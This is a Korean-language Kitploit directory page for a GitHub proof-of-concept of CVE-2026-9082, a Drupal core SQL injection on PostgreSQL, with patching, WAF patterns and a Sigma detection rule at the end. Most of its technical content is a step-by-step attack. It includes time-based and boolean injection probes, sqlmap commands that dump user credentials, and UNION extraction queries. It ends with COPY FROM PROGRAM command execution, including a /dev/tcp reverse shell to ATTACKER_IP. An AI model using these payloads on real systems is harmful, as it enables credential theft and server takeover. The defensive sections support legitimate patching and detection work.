Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2026-9082 — CVE PoC | Kitploit
도구/GitHubGitHub/lysophavin18/cve-2026-9082
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHublysophavin18/cve-2026-9082

cve-2026-9082

CVE PoC

저장소 보기
43개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-9082

유형: SQL 인젝션 (CWE-89) 영향받는 제품: Drupal Core (Database Abstraction API) Drupal 권고: SA-CORE-2026-004 게시일: 2026년 5월 20일 심각도: 매우 치명적 (Drupal 20/25 | NVD CVSS 6.5)


무엇인가요?

CVE-2026-9082는 Drupal 코어 데이터베이스 추상화 API의 SQL 인젝션 취약점입니다. Drupal의 DB 계층은 PDO를 래핑하고 모든 쿼리가 데이터베이스에 도달하기 전에 정화합니다. 이 취약점은 PostgreSQL 백엔드에서만 해당 정화를 우회합니다. 특수하게 제작된 HTTP 요청이 정규화 로직을 우회하여 공격자가 제어하는 SQL 조각을 데이터베이스 쿼리에 직접 주입합니다.

MySQL과 MariaDB는 이 인젝션 벡터의 영향을 받지 않지만, 패치 릴리스에는 모든 백엔드에 적용되는 중요한 Symfony/Twig 수정 사항도 함께 포함되어 있습니다.


영향을 받는 버전

전제 조건: 대상이 데이터베이스 백엔드로 PostgreSQL을 사용해야 합니다.


작동 방식 (기술적)

Drupal의 DB 추상화 계층은 매개변수화된 쿼리/준비된 문(Prepared Statement)을 통해 값을 정화하지만, 신뢰할 수 있는 구조적 SQL(필드 이름, 연산자, ORDER BY 대상)을 제공하기 위해 쿼리 빌더에 의존합니다. 버그는 PostgreSQL 드라이버가 쿼리를 빌드할 때 특정 입력 패턴을 처리하는 방식에 있습니다. PostgreSQL의 SQL 방언은 다음과 같은 주요 차이점에서 MySQL과 다릅니다:

  • ||를 사용한 문자열 연결
  • ::를 사용한 타입 캐스팅
  • 달러 따옴표(Dollar-quoting)
  • COPY ... FROM PROGRAM 명령
  • 다른 연산자 처리

제작된 요청은 Drupal의 값 수준 정화를 통과하지만 PostgreSQL 파서에 의해 구조적 SQL로 해석되는 문자/시퀀스를 도입합니다. 공격 표면은 사용자 제어 매개변수를 DB 쿼리에 전달하는 모든 엔드포인트(검색, 뷰 필터, 양식 제출, JSON:API 등)를 통해 인증 없이 도달할 수 있습니다.

공격 체인

root@kitploit:~
Attacker (unauthenticated)
  |
  |--> HTTP request with crafted parameter
  |    (e.g. search field, filter, form input)
  |
  v
Drupal DB Abstraction API
  |
  |--> Sanitization bypass (PostgreSQL-specific)
  |
  v
PostgreSQL executes injected SQL
  |
  |--> Information disclosure (dump entire DB)
  |--> Privilege escalation (inject admin credentials)
  |--> RCE (PostgreSQL COPY TO PROGRAM, lo_export, etc.)

위험한 이유

  1. 인증 불필요 — PostgreSQL을 사용하는 인터넷 노출 Drupal 사이트는 모두 노출됩니다
  2. RCE 가능성 — DB 사용자에게 슈퍼유저 권한이 있는 경우 COPY TO PROGRAM 'cmd'를 통해
  3. 전체 DB 액세스 — 사용자 계정, 비밀번호 해시, 세션 토큰, 개인정보(PII)
  4. 광범위한 버전 범위 — 전체 Drupal 8/10/11 수명 주기
  5. 복합 위험 — 동일한 패치가 Twig SSTI도 다룹니다. 공격자는 SQLi → 관리자 생성 → SSTI를 연결하여 RCE를 달성할 수 있습니다

Drupal의 자체 경고: "익스플로잇은 공개 후 몇 시간 또는 며칠 내에 개발될 수 있습니다" (SA-CORE-2014-005 / Drupalgeddon과 같은 역사적 Drupal DB 계층 CVE와 일치).


개념 증명 (승인된 실험실 테스트 전용)

1단계: 후보 엔드포인트 식별

root@kitploit:~
# Endpoints that pass user input through DB abstraction layer
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"

2단계: PostgreSQL 특정 인젝션 탐지

root@kitploit:~
# Time-based (pg_sleep is PostgreSQL-only)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"

# Cast-based probe (:: is PostgreSQL syntax)
curl -s "https://target.drupal.site/search/node?keys=1::integer"

# Boolean-based differentiation
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"

3단계: 자동화된 추출 (sqlmap, 승인된 테스트)

root@kitploit:~
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  --level=5 --risk=3 \
  --technique=BEUST \
  --tamper=space2comment,between \
  --dbs

# Dump credentials after confirming injection
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  -D drupal -T users_field_data \
  -C name,mail,pass --dump

4단계: 수동 UNION 기반 추출 (개념적)

root@kitploit:~
-- Fingerprint column count
test' ORDER BY 1--
test' ORDER BY 2--  -- increment until error

-- Extract credentials (PostgreSQL syntax)
test' UNION SELECT null,username,password FROM users_field_data--

-- Check if DB user is superuser
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--

5단계: COPY TO PROGRAM을 통한 RCE (DB 사용자가 슈퍼유저인 경우)

root@kitploit:~
CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;

-- Reverse shell (replace ATTACKER_IP/PORT)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';

완화 조치

즉시: Drupal 패치

root@kitploit:~
# Composer (recommended)
composer update drupal/core drupal/core-recommended

# Verify version
php core/scripts/drupal --version

# OR via Drush
drush updb && drush cr

데이터베이스 강화

root@kitploit:~
-- Verify application DB user is NOT superuser
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- Should return usesuper = false

WAF (임시 방편일 뿐 — 패치의 대체 수단이 아님)

차단 패턴: pg_sleep, COPY.*PROGRAM, ::text, ::integer, UNION.*SELECT, %27--

네트워크

PostgreSQL이 localhost 또는 사설 인터페이스에만 바인딩되고 인터넷에서 도달할 수 없도록 하십시오.


탐지 신호

Sigma 규칙 (탐지)

root@kitploit:~
title: Drupal CVE-2026-9082 SQL Injection Attempt
logsource:
  category: webserver
detection:
  selection:
    cs-uri-query|contains:
      - "pg_sleep"
      - "UNION+SELECT"
      - "::text"
      - "::integer"
      - "COPY+TO"
      - "%27--"
  filter:
    cs-uri-stem|contains:
      - "/search/"
      - "/views/ajax"
      - "/jsonapi/"
  condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]

요약

CVE-2026-9082는 PostgreSQL 백엔드를 대상으로 하는 Drupal Core의 무인증 SQL 인젝션입니다. NVD CVSS 6.5로 중간 수준이지만, Drupal은 인증되지 않은 액세스 + PostgreSQL의 COPY TO PROGRAM = 잘못 구성된 환경에서의 직접적인 RCE가 가능하기 때문에 20/25(매우 치명적)로 평가합니다. 광범위한 영향 버전 범위와 포함된 Twig SSTI 수정 사항으로 인해 모든 Drupal 사이트, 특히 인터넷에 노출된 PostgreSQL 배포 환경에서 중대하고 긴급한 패치가 필요합니다.

권장 조치: 즉시 해당 브랜치의 패치 버전으로 업데이트하십시오. DB 애플리케이션 사용자가 PostgreSQL 슈퍼유저가 아닌지 확인하십시오.

도구 다운로드
브랜치취약 버전패치 버전
Drupal 10.4.x / 8.9.x8.9.0–10.4.910.4.10
Drupal 10.5.x10.5.0–10.5.910.5.10
Drupal 10.6.x10.6.0–10.6.810.6.9
Drupal 11.0.x–11.1.x11.0.0–11.1.911.1.10
Drupal 11.2.x11.2.0–11.2.1111.2.12
Drupal 11.3.x11.3.0–11.3.911.3.10
소스신호
웹 로그쿼리 문자열의 pg_sleep, ::, UNION SELECT, --, COPY PROGRAM
PostgreSQL 로그웹 요청 타임스탬프와 상관관계가 있는 구문 오류
Drupal watchdogsearch/view/jsonapi 엔드포인트의 DB 예외
auditd하위 프로세스를 생성하는 postgres (COPY TO PROGRAM)
Drupal 사용자 테이블최근 타임스탬프가 있는 새 administrator 역할 행